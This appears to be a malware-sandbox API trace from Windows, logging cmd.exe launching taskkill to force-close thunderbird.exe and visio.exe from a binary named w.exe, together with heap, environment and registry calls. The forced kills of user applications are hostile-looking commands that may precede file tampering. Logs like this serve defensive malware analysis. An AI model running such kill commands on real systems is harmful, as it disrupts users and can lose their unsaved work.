	[0048.430] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0048.430] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0048.430] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0048.430] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0048.430] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0048.430] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0048.430] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0048.430] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0048.430] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0048.430] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0048.430] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0048.430] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0048.430] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0048.430] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0048.431] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0048.431] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0048.431] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0048.431] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0048.431] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0048.431] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0048.431] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0048.431] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0048.431] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0048.431] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0048.431] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0048.431] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0048.431] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0048.431] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0048.431] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0048.431] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0048.431] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0048.431] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0048.431] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0048.431] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0048.431] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0048.431] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0048.431] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0048.431] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0048.431] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0048.431] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0048.431] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0048.431] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0048.431] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0048.431] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0048.431] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0048.431] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0048.432] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0048.432] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0048.432] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0048.432] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0048.432] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0048.432] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0048.432] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0048.432] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0048.432] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0048.432] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0048.432] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0048.432] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0048.432] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0048.432] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0048.432] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0048.432] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0048.432] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0048.432] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0048.432] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0048.432] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0048.432] GetProcessHeap () returned 0x7b0000
	[0048.432] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x210) returned 0x7c3228
	[0048.432] GetProcessHeap () returned 0x7b0000
	[0048.433] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x4c) returned 0x7c3440
	[0048.433] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0048.433] GetProcessHeap () returned 0x7b0000
	[0048.433] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x418) returned 0x7b07f0
	[0048.433] SetErrorMode (uMode=0x0) returned 0x8003
	[0048.433] SetErrorMode (uMode=0x1) returned 0x0
	[0048.433] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7b07f8, lpFilePart=0x40ee1c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x40ee1c*="Desktop") returned 0x25
	[0048.433] SetErrorMode (uMode=0x8003) returned 0x1
	[0048.433] GetProcessHeap () returned 0x7b0000
	[0048.433] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7b07f0, Size=0x66) returned 0x7b07f0
	[0048.433] GetProcessHeap () returned 0x7b0000
	[0048.433] RtlSizeHeap (HeapHandle=0x7b0000, Flags=0x0, MemoryPointer=0x7b07f0) returned 0x66
	[0048.433] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a750640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0048.433] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0048.433] GetProcessHeap () returned 0x7b0000
	[0048.433] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x120) returned 0x7c3498
	[0048.433] GetProcessHeap () returned 0x7b0000
	[0048.433] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x238) returned 0x7b0860
	[0048.435] GetProcessHeap () returned 0x7b0000
	[0048.435] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7b0860, Size=0x122) returned 0x7b0860
	[0048.435] GetProcessHeap () returned 0x7b0000
	[0048.435] RtlSizeHeap (HeapHandle=0x7b0000, Flags=0x0, MemoryPointer=0x7b0860) returned 0x122
	[0048.435] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a750640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0048.435] GetProcessHeap () returned 0x7b0000
	[0048.435] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xe0) returned 0x7b0990
	[0048.435] GetProcessHeap () returned 0x7b0000
	[0048.435] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7b0990, Size=0x76) returned 0x7b0990
	[0048.435] GetProcessHeap () returned 0x7b0000
	[0048.435] RtlSizeHeap (HeapHandle=0x7b0000, Flags=0x0, MemoryPointer=0x7b0990) returned 0x76
	[0048.435] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0048.436] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x40eb98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x40eb98) returned 0xffffffff
	[0048.436] GetLastError () returned 0x2
	[0048.436] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x40eb98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x40eb98) returned 0xffffffff
	[0048.436] GetLastError () returned 0x2
	[0048.436] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0048.436] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x40eb98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x40eb98) returned 0x7b0a10
	[0048.436] GetProcessHeap () returned 0x7b0000
	[0048.436] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x14) returned 0x7b0a50
	[0048.436] FindClose (in: hFindFile=0x7b0a10 | out: hFindFile=0x7b0a10) returned 1
	[0048.436] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x40eb98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x40eb98) returned 0xffffffff
	[0048.436] GetLastError () returned 0x2
	[0048.436] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x40eb98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x40eb98) returned 0x7b0a10
	[0048.437] GetProcessHeap () returned 0x7b0000
	[0048.437] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7b0a50, Size=0x4) returned 0x7b0a50
	[0048.437] FindClose (in: hFindFile=0x7b0a10 | out: hFindFile=0x7b0a10) returned 1
	[0048.437] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0048.437] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0048.437] GetConsoleTitleW (in: lpConsoleTitle=0x40f090, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0048.437] InitializeProcThreadAttributeList (in: lpAttributeList=0x40ef18, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x40efe0 | out: lpAttributeList=0x40ef18, lpSize=0x40efe0) returned 1
	[0048.437] UpdateProcThreadAttribute (in: lpAttributeList=0x40ef18, dwFlags=0x0, Attribute=0x60001, lpValue=0x40efd8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x40ef18, lpPreviousValue=0x0) returned 1
	[0048.437] GetStartupInfoW (in: lpStartupInfo=0x40eed4 | out: lpStartupInfo=0x40eed4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xbc, hStdOutput=0xc0, hStdError=0xc4)) 
	[0048.437] GetProcessHeap () returned 0x7b0000
	[0048.437] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x18) returned 0x7b0a10
	[0048.437] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0048.437] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0048.437] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0048.437] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0048.437] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0048.437] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0048.437] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0048.437] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0048.437] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0048.437] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0048.437] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0048.437] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0048.437] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0048.437] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0048.438] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0048.438] GetProcessHeap () returned 0x7b0000
	[0048.438] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7b0a10 | out: hHeap=0x7b0000) returned 1
	[0048.438] GetProcessHeap () returned 0x7b0000
	[0048.438] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xa) returned 0x7bfee8
	[0048.438] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0048.440] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im thunderbird.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x40ef74*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im thunderbird.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x40efc0 | out: lpCommandLine="taskkill  /f /im thunderbird.exe ", lpProcessInformation=0x40efc0*(hProcess=0x78, hThread=0x74, dwProcessId=0x818, dwThreadId=0x814)) returned 1
	[0048.445] CloseHandle (hObject=0x74) returned 1
	[0048.445] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0048.445] GetProcessHeap () returned 0x7b0000
	[0048.445] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c5ed8 | out: hHeap=0x7b0000) returned 1
	[0048.445] GetEnvironmentStringsW () returned 0x7d4a50*
	[0048.445] GetProcessHeap () returned 0x7b0000
	[0048.445] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xb36) returned 0x7c4098
	[0048.445] FreeEnvironmentStringsW (penv=0x7d4a50) returned 1
	[0048.445] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0048.734] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x40eeb4 | out: lpExitCode=0x40eeb4*=0x80) returned 1
	[0048.735] CloseHandle (hObject=0x78) returned 1
	[0048.735] _vsnwprintf (in: _Buffer=0x40effc, _BufferCount=0x13, _Format="%08X", _ArgList=0x40eec0 | out: _Buffer="00000080") returned 8
	[0048.735] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0048.735] GetProcessHeap () returned 0x7b0000
	[0048.735] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c4098 | out: hHeap=0x7b0000) returned 1
	[0048.735] GetEnvironmentStringsW () returned 0x7c4098*
	[0048.735] GetProcessHeap () returned 0x7b0000
	[0048.735] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xb5c) returned 0x7c5ed8
	[0048.735] FreeEnvironmentStringsW (penv=0x7c4098) returned 1
	[0048.735] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0048.735] GetProcessHeap () returned 0x7b0000
	[0048.735] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c5ed8 | out: hHeap=0x7b0000) returned 1
	[0048.735] GetEnvironmentStringsW () returned 0x7c4098*
	[0048.735] GetProcessHeap () returned 0x7b0000
	[0048.735] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xb5c) returned 0x7c5ed8
	[0048.735] FreeEnvironmentStringsW (penv=0x7c4098) returned 1
	[0048.735] GetProcessHeap () returned 0x7b0000
	[0048.735] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bfee8 | out: hHeap=0x7b0000) returned 1
	[0048.735] DeleteProcThreadAttributeList (in: lpAttributeList=0x40ef18 | out: lpAttributeList=0x40ef18) 
	[0048.735] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0048.735] SetConsoleMode (hConsoleHandle=0xc0, dwMode=0x0) returned 0
	[0048.735] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0048.735] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a7441ac | out: lpMode=0x4a7441ac) returned 0
	[0048.736] _get_osfhandle (_FileHandle=0) returned 0xbc
	[0048.736] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a7441b0 | out: lpMode=0x4a7441b0) returned 0
	[0048.736] GetConsoleOutputCP () returned 0x1b5
	[0048.736] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a744260 | out: lpCPInfo=0x4a744260) returned 1
	[0048.736] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0048.736] exit (_Code=128) 

Process:
	id = "75"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x49b33000"
	os_pid = "0x818"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "74"
	os_parent_pid = "0x9d0"
	cmd_line = "taskkill  /f /im thunderbird.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 311
	os_tid = 0x814


Thread:
	id = 312
	os_tid = 0x824


Thread:
	id = 313
	os_tid = 0x840


Thread:
	id = 314
	os_tid = 0xbc8


Thread:
	id = 315
	os_tid = 0xbc0


Process:
	id = "76"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x49557000"
	os_pid = "0xbec"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im visio.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 316
	os_tid = 0x618

	[0048.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f97c | out: lpSystemTimeAsFileTime=0x36f97c*(dwLowDateTime=0x2b65280, dwHighDateTime=0x1d52dc5)) 
	[0048.805] GetCurrentProcessId () returned 0xbec
	[0048.805] GetCurrentThreadId () returned 0x618
	[0048.805] GetTickCount () returned 0x1c5fc
	[0048.805] QueryPerformanceCounter (in: lpPerformanceCount=0x36f974 | out: lpPerformanceCount=0x36f974*=16911528175) returned 1
	[0048.806] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab60000
	[0048.806] __set_app_type (_Type=0x1) 
	[0048.806] __p__fmode () returned 0x74eb31f4
	[0048.807] __p__commode () returned 0x74eb31fc
	[0048.807] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab821a6) returned 0x0
	[0048.807] __getmainargs (in: _Argc=0x4ab84238, _Argv=0x4ab84240, _Env=0x4ab8423c, _DoWildCard=0, _StartInfo=0x4ab84140 | out: _Argc=0x4ab84238, _Argv=0x4ab84240, _Env=0x4ab8423c) returned 0
	[0048.807] GetCurrentThreadId () returned 0x618
	[0048.807] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x618) returned 0x60
	[0048.807] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0048.807] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0048.807] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0048.808] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0048.808] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x36f90c | out: phkResult=0x36f90c*=0x0) returned 0x2
	[0048.808] VirtualQuery (in: lpAddress=0x36f943, lpBuffer=0x36f8dc, dwLength=0x1c | out: lpBuffer=0x36f8dc*(BaseAddress=0x36f000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0048.808] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x36f8dc, dwLength=0x1c | out: lpBuffer=0x36f8dc*(BaseAddress=0x270000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0048.808] VirtualQuery (in: lpAddress=0x271000, lpBuffer=0x36f8dc, dwLength=0x1c | out: lpBuffer=0x36f8dc*(BaseAddress=0x271000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0048.808] VirtualQuery (in: lpAddress=0x273000, lpBuffer=0x36f8dc, dwLength=0x1c | out: lpBuffer=0x36f8dc*(BaseAddress=0x273000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0048.808] VirtualQuery (in: lpAddress=0x370000, lpBuffer=0x36f8dc, dwLength=0x1c | out: lpBuffer=0x36f8dc*(BaseAddress=0x370000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x110000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0048.808] GetConsoleOutputCP () returned 0x1b5
	[0048.808] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab84260 | out: lpCPInfo=0x4ab84260) returned 1
	[0048.808] SetConsoleCtrlHandler (HandlerRoutine=0x4ab7e72a, Add=1) returned 1
	[0048.808] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0048.808] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0
	[0048.809] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0048.809] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4ab841ac | out: lpMode=0x4ab841ac) returned 0
	[0048.809] _get_osfhandle (_FileHandle=0) returned 0xb8
	[0048.809] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4ab841b0 | out: lpMode=0x4ab841b0) returned 0
	[0048.809] GetEnvironmentStringsW () returned 0x622000*
	[0048.809] GetProcessHeap () returned 0x610000
	[0048.809] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xaca) returned 0x622ad8
	[0048.809] FreeEnvironmentStringsW (penv=0x622000) returned 1
	[0048.809] GetProcessHeap () returned 0x610000
	[0048.809] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x4) returned 0x620c38
	[0048.809] GetEnvironmentStringsW () returned 0x622000*
	[0048.809] GetProcessHeap () returned 0x610000
	[0048.809] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xaca) returned 0x6235b0
	[0048.810] FreeEnvironmentStringsW (penv=0x622000) returned 1
	[0048.810] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x36e87c | out: phkResult=0x36e87c*=0x68) returned 0x0
	[0048.810] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x36e884, lpData=0x36e888, lpcbData=0x36e880*=0x1000 | out: lpType=0x36e884*=0x0, lpData=0x36e888*=0x0, lpcbData=0x36e880*=0x1000) returned 0x2
	[0048.810] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x36e884, lpData=0x36e888, lpcbData=0x36e880*=0x1000 | out: lpType=0x36e884*=0x4, lpData=0x36e888*=0x1, lpcbData=0x36e880*=0x4) returned 0x0
	[0048.810] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x36e884, lpData=0x36e888, lpcbData=0x36e880*=0x1000 | out: lpType=0x36e884*=0x0, lpData=0x36e888*=0x1, lpcbData=0x36e880*=0x1000) returned 0x2
	[0048.810] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x36e884, lpData=0x36e888, lpcbData=0x36e880*=0x1000 | out: lpType=0x36e884*=0x4, lpData=0x36e888*=0x0, lpcbData=0x36e880*=0x4) returned 0x0
